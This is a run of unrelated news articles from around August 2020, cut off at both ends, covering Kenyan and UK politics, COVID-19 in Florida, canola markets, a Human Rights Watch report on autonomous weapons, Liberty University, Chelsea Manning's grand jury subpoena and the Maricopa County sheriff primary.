succession must not be forced on Kenyans when his government remains incapable of doing what government are supposed to do: take care of its citizens and do no harm to them. For all practical purposes, this government has collapsed. The only things that seems to be functioning in this government are mis-procurement, taxation and political patronage. Kenyans deserve better, Karua stated. Google on Tuesday launched a new feature which allows users to create a virtual visiting card. The features 'People Cards' can help users create a digital visiting card on Google Search. The users can highlight their existing website or social profiles and information that they would like others to know, Google Search Product Manager Lauren Clark said. The technology has been in testing for a couple of years. "The new feature is aimed at helping the millions of individuals, influencers, entrepreneurs, prospective employees, self-employed people, freelancers, or anyone else out there who wants to be discovered and help the world find them. Starting today, users across India can discover the People Cards on their mobile phones, in English," she said. When users search for someone's name and a Card is available, they will see a module with the name, profession and location and then tap on the Card, she said. In case of people with the same name, multiple modules would be displayed by the Search. Unique information can help users distinguish between different individuals. "The safeguards include mechanisms to protect against abusive or offensive content, and limiting the experience with only one People Card allowed per Google Account. For every new card, the user must authenticate the account with a unique mobile number," she said. How to create virtual visiting card A user needs to log into his Google Account, search for his name or "add me to Search" on his mobile phone and tap the prompt that appears. An image can be included from the user's Google account. He can thereafter add his description, links to his website or social profiles, and a phone number or email address. Both creation of the Card and display of results will be available only on mobile phones. Also Read: India should have coronavirus vaccine by December, says Adar Poonawalla Also Read: Coronavirus crisis: PM Modi holds virtual meeting with CMs of 10 states; key highlights Experts said that the world must come together to stop the killer robots, which could pose a grave threat to humanity. According to Independent U.K.'s latest report, various countries agreed to entirely ban autonomous weapons and stop the development of future killer reports. Also Read: Elon Musk's Neuralink Brain Chip Will Soon Allow Users to Take Charge of Moods and Emotions The researchers warned that it would be unacceptable if weapons systems can freely select and assassinate their targets without any human supervision or control. Also Read: Elon Musk's Neuralink 'Super Hearing' Chip: Here's How it Might Trick Your Brain to Hear the Impossible The new Human Rights Watch's research called "Stopping Killer Robots: Country Positions on Banning Fully Autonomous Weapons and Retaining Human Control," confirmed that 30 countries had expressed their desire for an international treaty, that states human control must remain over the use of autonomous force. According to HRW's latest report, the new study focused on reviewing the policies of the 97 countries, which shared their views regarding killer robots way back in 2013. The majority of the countries agreed that decision-making and human control are important to the legality and acceptability of weapons systems. The policy of the United Kingdom also states that human oversight is still a must when using autonomous weapons. However, the U.K. is not included in the countries since it is still developing its own "autonomous solutions" in weapons systems. What experts say about the rising number of autonomous weapons The Human Rights Watch's arms division advocacy director and the Campaign To Stop Killer Robots' coordinator, Mary Wareham, said that there is a need for urgent international action on the issue since artificial intelligence and other technologies are continuously spreading. "Removing human control from the use of force is now widely regarded as a grave threat to humanity that, like climate change, deserves urgent multilateral action," said Wareham. "An international ban treaty is the only effective way to deal with the serious challenges raised by fully autonomous weapons," she added. Wareham explained that it is an ethical imperative, a moral obligation, and a legal necessity to retain human control over the use of such weapons. She added that all the countries must have an urgency to open negotiations on a new international ban treaty for the robotic weapons. The report suggested that a small number of military powers, including Russia and the United States, have rejected other countries' proposals. In contrast, a large number of countries and international organizations have supported the campaign. For more updates about new technologies, always keep your tabs open here at TechTimes. Also Read: Researchers Develop AI Bird Watcher to Explain Why Thousands of Birds Are Found Dead in Solar Farms in the US This article is owned by TechTimes, Written by: Giuliano de Leon. 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. Canola prices could continue to rise even after the futures contract soared to its highest level in nearly two years amid continued trade tensions with China and back-door access to the Asian importer, experts say. Hey there, time traveller! This article was published 11/8/2020 (525 days ago), so information in it may no longer be current. Canola prices could continue to rise even after the futures contract soared to its highest level in nearly two years amid continued trade tensions with China and back-door access to the Asian importer, experts say. "As usual, (the upward movement) is a fairly complex situation," said Bruce Burnett, director of markets and weather at MarketsFarm, that provides analysis on commodity markets. In March 2019, the Chinese government blocked canola seed imports from Richardson International Ltd. one of Canada's largest grain producers and Regina-based Viterra Inc. by suspending their licences. The decision followed the arrest of Chinese tech giant Huawei chief financial officer Meng Wanzhou in Vancouver a few months earlier. More than a year later the situation hasn't really changed, said Brian Innes, vice-president of public affairs with the Canola Council of Canada, noting those two companies are still unable to export canola seeds to China. That's led to reduced canola seed exports to China from Canada, he said, at roughly 30 per cent of normal levels. In 2019, canola seed exports to China fell by about 70 per cent, the council says, resulting in about $1 billion in lost revenue from the commodity. Before the trade tensions, the Chinese market made up 40 per cent of Canada's canola seed, oil and meal exports, with canola seed exports totalling $2.7 billion in 2018, the council said. China's moves against Canadian canola seed put the commodity's price in the basement, Innes said. But, recently, the price has been trending up. At the end of July, the canola futures contract on the Intercontinental Exchange hit $491.50 a mark not seen since October 2018. By Monday, it had tapered off to $484.10 still on the high end of the roughly $430 to $490 range it's been in since that 2018 high. The sudden rise comes down to increasing demand from several sources, said Burnett. Canada increased exports to Europe to make up some of the shortfall in Chinese purchases. European production dropped significantly over the past couple years, he said, increasing their need to import canola. Additionally, Canada is exporting more to the United Arab Emirates where it has been reported they crush canola seed and send the oil to China via a so-called back-door route, Innes and Townsend said. "Some third-party countries have also been crushing our canola and sending the oil to China," said Burnett. Direct exports to China are also up, said Neil Townsend, chief market analyst at FarmLink Marketing Solutions. "We've done pretty good going through the front door in China lately," he said, referring to exports as a whole. Canada has averaged about 250 tonnes of canola exports over the past four months, he said, compared with roughly 125 tonnes in the same four months last year. "That's quite good." Additionally, there's growing demand from Canadian companies that purchase canola, crush it and sell the oil and meal to different markets, including domestically, he said. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. The COVID-19 pandemic, which closed many restaurant dining rooms around the world, helped boost demand for canola oil by consumers who are cooking at home more, he said. In certain markets, such as Canada and China, consumers prefer to cook with canola oil at home, said Townsend. Despite the increased demand and corresponding price bump, the commodity's price is still off of previous highs. "These are good prices in Western Canada," said Townsend, "though, they're not extraordinary prices." Without restricted access to the Chinese market and barring any significant loss from selling canola oil instead of seed to China, he said, the commodity price could crack $500 and move toward $515 or $520. "But, we're not quite there yet." This report by The Canadian Press was first published Aug. 11, 2020. Boris Johnson has blocked a plan to invite Scottish First Minister Nicola Sturgeon to Cabinet meetings for fear of making her look too powerful, it was claimed today. Cabinet Office Minister Michael Gove is said to have suggested the plan to help smother support for independence by involving her in policy making. But Mr Johnson vetoed the idea according to the Financial Times, with a source telling the paper: 'He doesn't like the idea of Sturgeon being seen as on the same political level as him.' Ms Sturgeon has constantly been at loggerheads with Mr Johnson during the coronavirus pandemic, and prior to that they clashed repeatedly over Brexit, with was overwhelmingly opposed in Scotland. A recent poll found 54 per cent backing for independence, following the 2014 referendum with returned a vote of 55-44 in favour of remaining in the UK. Cabinet Office Minister Michael Gove is said to have suggested the plan to help smother support for independence by involving her in policy making But Mr Johnson vetoed the idea according to the Financial Times, with a source telling the paper: 'He doesn't like the idea of Sturgeon being seen as on the same political level as him' The poll was driven by a perception that Scotland's semi-autonomous government has handled the coronavirus outbreak better than the United Kingdom government. Yesterday Ms Sturgeon told the PM that he must 'abide by all the advice' on Scotland's lockdown when he takes Carrie Symonds and baby Wilfred on their first family holiday in the country. Mr Johnson, 56, his 32-year-old his fiancee and their three-month-old son are expected to go to Scotland for a 'paternity holiday' next week that could reportedly include some time camping. The choice of Scotland, where the Tories are struggling ahead of next year's Holyrood elections, marks the latest attempt by Mr Johnson's administration to support the union and the domestic holiday industry. At her daily press conference yesterday, Ms Sturgeon urged him and anyone else coming for a 'staycation' to follow local advice. She said: 'Whether it's the Prime Minister or anyone coming to Scotland, I can't wait for the date where I can say ''everyone come to Scotland and holiday'' because we're over the worst of this virus but right now we need to encourage everybody whether they're living in Scotland or visiting Scotland to take great care. 'So, whether it's the Prime Minister or anybody else, when you're in Scotland - and you should hopefully be doing this wherever you live - abide by all the advice.' Emergency Medical Technicians (EMT) arrive with a patient while a funeral car begins to depart at North Shore Medical Center where the coronavirus disease (COVID-19) patients are treated, in Miami, Florida, July 14, 2020. Maria Alejandra Cardona | Reuters Florida reported 276 new deaths caused by the coronavirus on Tuesday, marking the highest number of deaths reported in a single day by the state since the pandemic began. That brings the total number of Covid-19 deaths in Florida to 8,553, according to the state's department of health. Florida also reported 5,886 new cases of the virus, bringing the cumulative total to 542,792 confirmed cases across the state since the outbreak began. The Florida Department of Health didn't immediately provide a comment for this article. The state previously reported a single-day high of 257 Covid-19 deaths on July 31, according to data compiled by Johns Hopkins University. The seven-day average of new Covid-19 deaths in Florida hit a high of 185 average deaths per day on Aug. 5, according to a CNBC analysis of Hopkins data. The percentage of tests that came back positive on Monday also increased to 10.3%, up from about 8.6% on Sunday. That statistic is a closely watched data point that could indicate whether the outbreak is expanding and whether the state is conducting enough testing. Florida is one of the hardest-hit states in the country by the coronavirus, but daily new cases have appeared to decline in recent days. Epidemiologists, however, warn that it's too soon to establish any kind of strong trend and say that testing has fallen even faster. The seven-day average of daily new cases has dropped by 38% compared with two weeks ago, according to CNBC's analysis of data compiled by Hopkins, but testing has declined as well. The state was running roughly 54,000 tests per day two weeks ago, but that has dropped by about 46% to just over 37,000 as of Aug. 10, based on data compiled by the Covid Tracking Project, a volunteer project founded by journalists at The Atlantic magazine. "I'm always cautious. It does seem like we're on a downward trend maybe," Cindy Prins, an epidemiologist at the University of Florida, told CNBC on Tuesday, saying the state's positivity rate, or percent of positive Covid-19 tests, has fallen from its recent peak at 12.3%, according to the state's health department. She added that the state ought to conduct more testing to better understand the outbreak. Ex-policeman faces action for departure gate outburst BANGKOK: Airports of Thailand (AoT) has lodged a complaint with police against a former policeman who blasted airline workers and destroyed their gate-controlling computer after missing a flight on Saturday (Aug 8). By Bangkok Post Tuesday 11 August 2020, 09:10AM The departure outburst was captured by an onlooker. AoT on Monday assigned its representatives to file the lawsuit with Don Muang police even though the man later apologised and admitted he had been too late to board the flight. The man, whose name was still being withheld on Monday, has paid for the damage he caused plus compensation to the airline, reports the Bangkok Post. A video of the incident went viral on Saturday evening showing a woman scolding the airline workers and the man throwing a tantrum and threatening to file a complaint with the Consumer Protection Board. They are seen berating staff at the boarding gate despite arriving at 5.56pm for a flight to Khon Kaen that was due to depart just four minutes later. Passengers are warned that gates close 20 minutes before departure time. The man, who was a police major at Na Mon police station in Kalasin before quitting the force to run a business in 2014, is then seen grabbing the staffs computer monitor and hurling it to the floor. Thai AirAsia airline, who ran the flight, said it was due to depart at 6pm and arrive at 7.15pm, with passengers invited to board from 5.20pm. After that, the airline remained at the gate calling out to remind passengers who had not yet boarded to do so, which is routinely done. The airline said the couple were refused permission to board the plane as they had not followed well-known instructions. A drunk Florida man gave a brutally honest confession to cops trying to carry out a sobriety test on him saying 'there is no sense in it because I have been drinking' after he was pulled over for driving a lawnmower down the middle of a highway. Paul Burke, of Fort McCoy, was arrested on a DUI charge after he was caught on Highway 316 in Marion County Wednesday night. The drunk man, who had three previous DUI convictions before this latest incident, told cops he was driving both to and from his home. He then admitted he had 'maybe a little too much to drink tonight' and told officers to arrest him because he 'cannot walk'. Paul Burke, of Fort McCoy, was arrested on a DUI charge after he was caught riding a lawnmower along the middle of Highway 316 in Marion County Wednesday night He then asks cops to 'just take me to jail' when asked if he can try to do the exercises again Shocking dashcam footage released by the Marion County Sheriff's Office shows the officers pulling Burke over by the side of the highway, where he was riding his lawnmower far slower than the 55 mph speed limit. 'You know you're in the road, right?' a deputy asks Burke. 'Was I?' the drunk man slurs in response. 'You were. How much you have to drink tonight?' the officer asks. Burke responds telling him he has only had 'a couple', which the deputy then casts doubt on: 'A couple? I think it's a little more than a couple.' Burke then admits he may have downplayed the number of drinks he has had. 'Okay. I'm not gonna lie to you,' he says. When asked where he is headed, Burke says he is both going to and coming from his home. The drunk man then rambles: 'Are you going to take me to jail or not?' The officer tells him he wants him to do sobriety exercises, Burke tells him it isn't necessary because he is too drunk to perform them. He then admits he had 'maybe a little too much to drink tonight' and says he 'cannot walk' when asked to do a sobriety test Dashcam footage shows the drunk man, who had three previous DUI convictions before this latest incident, telling cops he was driving both to and from his home 'I have been drinking. I'm going to be honest with you,' he says. 'There's no sense in it... because I've been drinking.' He then tells the officer he doesn't have a driver's license and that he is trying to be 'as nice a guy as I can'. 'Listen to me sir. I have no license at all, I have no driver's license at all,' he says. Burke asks the officer again if he is going to arrest him. 'Are you going to take me to jail? I cannot walk,' he says. The cop replies: 'Why not?' 'Because I've been drinking too much,' Burke admits, slurring 'I have had maybe a little too much to drink tonight.' The drunk man then says he will 'try' to do the sobriety test and is seen stumbling by the side of the highway. Burke asks the deputy if he can 'just give me a ticket and be done with that' but he is told no. 'So I'm going to ask you one more time if you want to do these exercises,' the deputy says. Burke has been convicted on DUI charges three times in the past and had his license suspended or revoked seven times for previous DUIs or refusals to submit to a breath test, officials said 'No sir, just take me to jail,' Burke replies. Per his wishes, Burke was arrested and taken into custody on a DUI charge. This marked the latest in a long rap sheet for driving under the influence. Burke has been convicted on DUI charges three times and had his license suspended or revoked seven times for previous DUIs or refusals to submit to a breath test, officials said. He does not have a valid driver's license. 'Driving a lawnmower in the middle of a road where the speed limit is 55mph is dangerous and illegal,' Marion County Sheriff's deputies wrote in a Facebook post. 'Add being drunk into the mix, it can be come fatal.' Rantoul, IL (61866) Today Cloudy skies. Morning high of 35F with temps falling to near 20. Winds NW at 15 to 25 mph.. Tonight Cloudy skies this evening will become partly cloudy after midnight. Low 8F. Winds NNW at 15 to 25 mph. When Prime Minister Hassan Diab announced that the entire cabinet would resign Monday evening, he noted that the government would stay on in a caretaker role until a new cabinet was appointed. But many are bracing for a lengthy period of political paralysis in the meantime. Mr. Diab himself, in his resignation speech, accused the political class of trying to shift blame for the countrys ongoing economic crisis and corruption onto his cabinet. Instead, he said, deep-seated corruption was rooted in every part of the state. For now, the old cabinet can continue to meet, but without the power to propose laws or issue decrees. Under Lebanons current system, a new cabinet can be appointed by President Michel Aoun in consultation with Parliament, without new elections. But the president has remained largely silent, so far only acknowledging the resignations. And horse trading within the sectarian Parliament, the system at the root of many protesters complaints, is likely to be painfully slow. MAYFIELD HEIGHTS, Ohio -- City Council conducted a public hearing Monday evening (Aug. 10) on the subject of the possible repeal of Issue 9. A majority of residents who spoke were in favor of keeping in place the income tax increase passed by voters this spring. The committee Citizens Against Sneaky Taxes is seeking to overturn the Primary Election vote count from the spring, which saw Issue 9 pass by just 64 votes. Passage meant that the citys income tax rate, effective July 1, increased from 1 percent to 1.5 percent. In conjunction with placing Issue 9 on the ballot earlier this year, council increased the citys income tax credit for residents who work outside the city from .50 percent to 100 percent of the first 1.5 percent charged in the city in which residents work. With the income tax credit change, the only time a resident would have to pay income tax to Mayfield Heights while working in another community is if that communitys income tax rate is less than 1.5 percent. The committee working to repeal Issue 9 turned in more than 236 valid signatures (equal to 10 percent of residents who voted in the 2019 council elections) on an initiative petition in July -- enough signatures to make council act. The public hearing was councils first required action. Council then was given 40 days after the petitions were handed in to decide whether to repeal the current tax and place the tax increase on the Nov. 3 General Election ballot. If council opts not to place the issue on the Nov. 3 ballot, Citizens Against Sneaky Taxes will have 10 days to gather another 236 valid signatures. If these signatures are successfully collected, the issue will appear on the Nov. 3 ballot. During Mondays public hearing, held in person at City Hall, council heard the first readings of a resolution to place the matter on the fall ballot and two ordinances that would amend the city code to reduce the income tax rate back to 1 percent and reduce the tax credit back to .50 percent. Law Director Paul Murphy said council will next meet Aug. 24 and then, still being within the 40-day limit, have the opportunity to vote on placing the issue on the November ballot. In putting Issue 9 on the ballot in the spring, council earmarked the resulting funds -- expected to total $5 million annually by 2023 -- for a citywide sidewalk program, road repair work, a new city swimming pool and improvements at other recreational facilities. In all, eight residents letters were turned in for reading aloud during the public hearing, including one from Deborah Irvine, the petitioner for Issue 9s repeal. Irvine noted that, in fall 2018, a similar .5 percent income tax increase was defeated by more than 2,500 votes at the polls in an election in which 7,028 voters -- half of Mayfield Heights registered voters -- turned out. Given this two-to-one trouncing of the tax increase, Irvine wrote, one would have thought the city heard the voters loud and clear and would not come back again with a tax increase of this magnitude. But, in fact, the city did just that in the March 17, 2020, Primary Election. Because of the coronavirus pandemic, the Cuyahoga County Board of Elections extended the election and conducted it, after March 17, as a mail-in only election. At first, in late April, the county had Issue 9 passing by 43 votes. A recount, announced May 18, increased the margin to 64. Irvine stated that the primary election included just over 3,000 voters, which is less than half the turnout from the November 2018 General Election and less than one-quarter of all registered voters in Mayfield Heights. She said that petitioners are only seeking to have the issue placed on an even-numbered year General Election so that potentially more voters will make the final decision. Resident Scott Sciria, another committee member, called the tax increase discriminatory and selective. The 50 percent income tax increase only applies to Mayfield Heights residents who work in Mayfield Heights, Sciria wrote. Mayfield Heights residents who work outside the city do not pay the increased tax. As remarkable as this sounds, our City Council voted to punish Mayfield Heights residents who work in the city and reward Mayfield Heights residents who work outside the city. This is about as cynical and anti-democratic an action as a city government can take. On the other hand, resident Katie Havel believes the income tax increase should stand. Havel said she would like to see Mayfield Heights recreational facilities upgraded, as she and her family now use more modern facilities in neighboring communities, including Highland Heights and Mayfield Village. We pay about $600 in recreation fees a year, Havel told City Council, and Id like to pay that money to you. She added: I was a voter against the income tax levy the first time (November 2018). I took a very vested interest in it, and the reason I changed my vote the second time around (spring 2020) were for two specific reasons: Mayland was taken out of the equation, and the tax credit was given preemptively this time around. In 2018, there was talk of the city purchasing the troubled Mayland Shopping Center on Mayfield Road for redevelopment, but Mayland has since been purchased by a private developer. Also, in 2018, council spoke of increasing the tax credit if voters approved the tax rate increase. And I know from talking to many people, Havel said, that the biggest solitary reason this was not passed the first go-round was that the income tax credit was not given ahead of time, and the fear of Mayland being brought into this. Michael Horvath said he has lived in Mayfield Heights for 40 years. This city, for the most part, park-wise, hasnt changed that much, he said. Horvath said that, years ago, Highland Heights and Mayfield Village didnt have much recreationally or in terms of quality-of-life issues to offer, but that things have changed. I would very much like to see this ordinance (tax increase) stay in effect, he said. Im always a proponent of anything thats going to keep my property values up and keep people wanting to come to this city. We have schools that are really great. Theres no reason for us to be the armpit of the school system, which could be very easily happening (without improvements), he said. The Mayfield School District encompasses Mayfield Heights, Mayfield Village, Highland Heights and Gates Mills. Hawthorne Drive resident Tom Kramer also backs the tax increase. He feels that the tax credit is the key to bringing the city the money it needs to make upgrades. The money that were getting from that (100 percent) credit is where the city is getting all the money, Kramer told council. From 1 (percent) to 1.5 (percent income tax increase) is not the big thing, but the credit is the key. Kramer pointed to the fact that the city is already spending money from Issue 9 on road improvements, in that the repair of Genesee Road was added to the 2020 repair schedule because of Issue 9. And about $3 million in work is already planned for 2021. He also said that, because of the pandemic, the city wont be able to count on getting money from the state, which is facing financial uncertainty, for future city projects. I think (the tax increase) needs to stay, he said. Lee Weingart, the man who has been spokesman for Citizens Against Sneaky Taxes, was not present at the meeting and did not send a letter to be read during the hearing. Councilman Michael Ballistrea, at the meetings conclusion, added that the city is beginning a sidewalk repair program Sept. 1 using $200,000 in funds carried over from a year ago. He said that, if Issue 9 is repealed, residents will be responsible for paying for their own sidewalk repairs as the program continues, with inspections citywide over the next few years. Replacing a sidewalk block can cost a resident about $125. With Issue 9s passage, the city is planning to pick up the cost of citywide sidewalk repairs. Mayfield-S.O.M. Center intersection repair Mayor Anthony DiCicco also noted that work is expected to start next week (the week of Aug. 17) on road repairs at the intersection of Mayfield and S.O.M. Center roads. At least one lane of traffic will remain open in all directions, but delays will occur. Read more from the Sun Messenger. There wouldn't be many who think London Security plc's (LON:LSC) price-to-earnings (or "P/E") ratio of 15.5x is worth a mention when the median P/E in the United Kingdom is similar at about 16x. Although, it's not wise to simply ignore the P/E without explanation as investors may be disregarding a distinct opportunity or a costly mistake. It looks like earnings growth has deserted London Security recently, which is not something to boast about. One possibility is that the P/E is moderate because investors think this benign earnings growth rate might not be enough to outperform the broader market in the near future. If you like the company, you'd be hoping this isn't the case so that you could potentially pick up some stock while it's not quite in favour. Check out our latest analysis for London Security pe Want the full picture on earnings, revenue and cash flow for the company? Then our free report on London Security will help you shine a light on its historical performance. What Are Growth Metrics Telling Us About The P/E? There's an inherent assumption that a company should be matching the market for P/E ratios like London Security's to be considered reasonable. Retrospectively, the last year delivered virtually the same number to the company's bottom line as the year before. Regardless, EPS has managed to lift by a handy 21% in aggregate from three years ago, thanks to the earlier period of growth. So it appears to us that the company has had a mixed result in terms of growing earnings over that time. Comparing that to the market, which is predicted to shrink 6.5% in the next 12 months, the company's positive momentum based on recent medium-term earnings results is a bright spot for the moment. With this information, we find it odd that London Security is trading at a fairly similar P/E to the market. It looks like most investors are not convinced the company can maintain its recent positive growth rate in the face of a shrinking broader market. Story continues The Final Word The price-to-earnings ratio's power isn't primarily as a valuation instrument but rather to gauge current investor sentiment and future expectations. We've established that London Security currently trades on a lower than expected P/E since its recent three-year earnings growth is beating forecasts for a struggling market. When we see its superior earnings with some actual growth, we assume potential risks are what might be placing pressure on the P/E ratio. One major risk is whether its earnings trajectory can keep outperforming under these tough market conditions. It appears some are indeed anticipating earnings instability, because this relative performance should normally provide a boost to the share price. And what about other risks? Every company has them, and we've spotted 1 warning sign for London Security you should know about. If you're unsure about the strength of London Security's business, why not explore our interactive list of stocks with solid business fundamentals for some other companies you may have missed. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Have feedback on this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com. Liberty University names acting president; alumni group asks board to 'permanently remove' Falwell Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Liberty University in Virginia announced that its board has chosen an interim president to lead the school days after Jerry Falwell Jr. was asked to take an indefinite leave of absence from his roles as president and chancellor at the request of the board of trustees. In a news release late Monday, Liberty announced that Jerry Prevo, who has served as chairman of the universitys board of trustees since 2003, will immediately assume the role of acting president. Prevo, who was appointed by the boards executive committee, expects to work from the Lynchburg campus starting Aug. 17 and will step aside from his position on the board for the duration of the new role, according to the news release. He recently retired from the Anchorage Baptist Temple, one of the largest churches in Alaska, as the senior pastor, according to the university. Please pray for us as well as the Falwell family as we embark on our academic year and so we may continue to be united in our common purpose and our faith in Christ, Prevo said in the news release. The move comes just days after Falwell agreed to take an indefinite leave of absence from his roles as president and chancellor of Liberty University at the request of the board of trustees. Falwell had led the private evangelical university founded by his evangelist father, the late Rev. Jerry Falwell, for 13 years. In just over 10 years, the university has become the second-largest nonprofit university in the world and the second-largest private nonprofit university in the nation. The board's request came days after Falwell expressed regret over posting a since-deleted photo of himself at a costume party on a yacht during his family's vacation. In the photo, Falwell wore a T-shirt and jeans that were unzipped to expose his abdomen and underwear. His right hand was around the waist of his wife's assistant, who was wearing a tank top and unzipped shorts, exposing her midriff. He said in an interview with Lynchburg radio station WLNI that his wifes assistant is pregnant and couldnt get her pants zipped, and that he was imitating her, adding the photo was taken in good fun. Ive apologized to everybody, and Ive promised my kids Im going to try to be a good boy from here on out, he told the interviewer. Falwell was holding a glass filled with a dark liquid in the photo, which he said in the caption was just black watera prop only. Cries of hypocrisy were prompt, with some pointing out that Liberty Universitys code of conduct prohibits students from consuming media that contains lewd lyrics, anti-Christian message, sexual content, nudity, pornography either on or off campus. On Monday, a group of alumni calling themselves Save71 launched a website calling for the board to permanently remove Falwell and replace him with a responsible and virtuous Christian leader. Liberty needs to repent of its sins before seeking redemption, the group posted on its website, adding that The Board of Trustees must acknowledge the damage President Falwell has done to Liberty and the hypocrisy and corruption that has soaked into parts of its culture. The group clarified that their request "isn't just about one photo," citing a "pattern of behavior and toxic culture that trickled down from Libertys leadership into every area of the school." In a statement to The Christian Post late Friday, Pastors Chris Williamson, Eric Carroll, and Maina Mwaura the organizers of a June 1 letter to Falwell signed by 35 black pastors, ministry leaders and athletes who graduated from Liberty University and warned they'd stopped donating to the university because they disagreed with Falwell's political rhetoric and activism applauded the board for requesting that Falwell step down. "We believe the Board of Trustees made the right decision in asking Mr. Falwell to take a leave of absence, and we are praying for him, his immediate family, and our entire Liberty family during this season," they said. "First and foremost, it is our desire that Mr. Falwell would experience healing and restoration that only God can give. Liberty is a special place, and the God that we serve is a powerful God to lead the school into its next season. Liberty University deeply impacted us as students and we hope that its leadership can return to a focus of training 'young champions for Christ' with Biblical conviction for the Gospel and justice." Former Army intelligence analyst Chelsea Manning appeared in Alexandria federal court Tuesday to unsuccessfully fight a subpoena requiring her to testify in front of a grand jury investigating WikiLeaks founder Julian Assange. Outside the courthouse after an hour-long closed hearing, Manning said her motion to quash the subpoena was denied but her team believes they still have grounds to litigate. She would not go into detail because Judge Claude Hilton also blocked her bid to unseal the proceedings. But she said she was probably going to be at the courthouse multiple times in coming days. U.S. Attorney G. Zachary Terwilliger attended the sealed hearing, as did the Assange prosecutorial team Assistant U.S. Attorneys Gordon Kromberg, Tracy McCormick, Evan Turgeon and Kellen Dwyer. Manning, 31, was convicted in 2013 of the largest leak of classified documents in U.S. history and served seven years of a 35-year military prison sentence before being released by then-President Barack Obama. Advertisement The material she exposed included field reports from Iraq and Afghanistan, cables between the State Department and U.S. embassies and assessments of detainees held at Guantanamo Bay, Cuba. During Mannings 2011 military trial, prosecutors revealed chat logs showing the Army private chatted with Assange about cracking a password to a computer anonymously. But during the trial Manning testified she acted alone and approached other news organizations before going to WikiLeaks. The anti-secrecy website published the material. In a statement Friday, Manning said she stood by that testimony and sees no reason to repeat it. Outside the courthouse Tuesday, Manning did not mention Assange or WikiLeaks, saying she opposed grand juries as a principle. Grand juries are terrible tools, she said. The idea that there is an independent grand jury is long gone; its run by a prosecutor. Witnesses do not have their own lawyer in the secret proceedings, she noted: There is no adversarial process . . . I am generally opposed to the existence of a grand jury. There was an awful lot of government attorneys in there, she told a crowd of reporters and activists. But, she said, we didnt learn anything about why the government had subpoenaed her now, years after her conviction. I only can speculate, she said. She was represented in court by Moira Meltzer-Cohen, Sandra Freeman and Chris Leibig. Prosecutors inadvertently exposed Assange has been charged under seal late last year, but the nature of the charges against him remain unknown. U.S. officials speaking on the condition of anonymity because of grand jury secrecy say the case is based on his pre-2016 conduct, not the election hacks that drew the attention of special counsel Robert Mueller. Assange has been living in Ecuadors London embassy for the past seven years to avoid prosecution in Britain for fleeing his bond on Swedish sexual assault charges. Those charges have been dropped, but Assange has resisted leaving the embassy for fear of being extradited to the United States. Since leaving prison Manning, who was formerly known as Bradley Manning, has become an activist for transgender rights and launched an unsuccessful primary campaign against Sen. Benjamin Cardin, D-Md. A group of supporters cheered as Manning left the courthouse, shouting We love you Chelsea! and waving signs saying, Solidarity with Chelsea and Defend Grand Jury Resistance. The Washington Posts Ellen Nakashima contributed to this report. PHOENIX- Jerry Sheridan has won the GOP nomination in the race for Maricopa County sheriff, beating ex-Sheriff Joe Arpaio. The race has been close, but the latest primary election results released Friday evening showed Sheridan had pulled way ahead of his former boss. The results are not official yet. But with fewer than 3,000 votes left to tabulate, it would not be possible for Arpaio to close the 6,000-vote deficit. This was Arpaio's second attempt to make a political comeback. He lost his seat as sheriff to Democrat Paul Penzone in 2016, and in 2018 came in third in a three-way race for the GOP nomination for U.S. Senate. Sheridan, who worked in the Sheriff's Office for 38 years, mostly during Arpaio's 24 years in office, said Friday he was happy. He retired as a deputy chief after Arpaio lost his 2016 reelection bid. Sheridan said he has respect for his former boss. "Joe Arpaio did a great job for a long time," Sheridan said. "He will never be irrelevant, but I think his political career is over." Now, Sheridan said, he will refocus his energy on the November race against Penzone, who ran unopposed in the Democratic primary. "Penzone is very beatable," Sheridan said. Arpaio said he "gave it a shot," but the voters selected somebody else. "I'm a little shocked losing," Arpaio said. "This will be the last time I run for office." Before the Friday numbers, the race had been deadlocked between Arpaio and Sheridan. At one point, they were separated by about 400 votes, with Sheridan ahead. In 2016, Penzone easily beat Arpaio. In 2012, Penzone had lost to Arpaio. Before 2016, Arpaio could easily win elections. But his dwindling support in this primary and in 2018 shows many conservative voters have been ready to move on from him, political observers have said. "There is certainly fatigue in the Republican Party on Arpaio's legacy," Chuck Coughlin, a Phoenix-based Republican consultant, previously told The Arizona Republic. "I think in the last election cycle, most Republicans have been convinced he can't win a general election. The common-sense solution is to give someone else a try." Story continues Racial profiling court case While Arpaio has loyal supporters, his tough-on-crime approach and immigration enforcement has turned off many Republican voters. A federal judge found Arpaio and Sheridan to be in civil contempt of court stemming from a racial profiling case. Another judge in the racial profiling case had found that deputies under Arpaio racially profiled Latino motorists during immigration raids. More: What to know about the NY AG's attempt to take down the NRA In 2011, the judge told Arpaio to stop the raids, but he continued with them. Sheridan had claimed he was unaware of the judge's order. Arpaio was charged with criminal contempt of court, and in 2017 the former sheriff was found guilty of willfully violating a federal judge's order. President Donald Trump pardoned Arpaio before his sentencing. Sheridan was not charged because of the statute of limitations. Jerry Sheridan Sheridan 'has an uphill fight' against Penzone Because of the legal tangle and past policies on immigration enforcement, Sheridan could have a hard time in the general election against Penzone, Republican consultants have said. Barrett Marson, a Republican consultant in Phoenix, said that Sheridan "has an uphill fight." Marson said that even though Penzone is a Democrat, he has had Republican support. But with Arpaio out of the picture, out-of-state donors could lose interest in the race. In 2016, immigrant rights groups rallied around Penzone to help defeat Arpaio. And billionaire and philanthropist George Soros gave $2 million to Maricopa Strong, a political action committee that helped defeat Arpaio. "What is unclear right now is whether the liberal groups that spent heavily in 2016 to defeat Joe Arpaio will come to Arizona and spend similar money to defeat a former underling," Marson said. Penzone in a previously released statement said he is looking forward to the general election. As sheriff of Maricopa County, I have removed politics and focused on restoring the office to an ethical, professional, and transparent organization," he said. "I have been committed to a foundation of integrity, with an unwavering focus on public safety." Penzone was elected sheriff with help of immigrant advocates, but he's been at odds with some of them during his nearly four years in office. Advocates have wanted him to stop allowing immigration agents in his jails who screen inmates for immigration status. He has continued to allow them, and pretrial inmates have been deported. Penzone has defended the policy, saying it's a public safety measure and not a partisan issue. Advocates have also criticized how Penzone has handled court orders related to Arpaio's 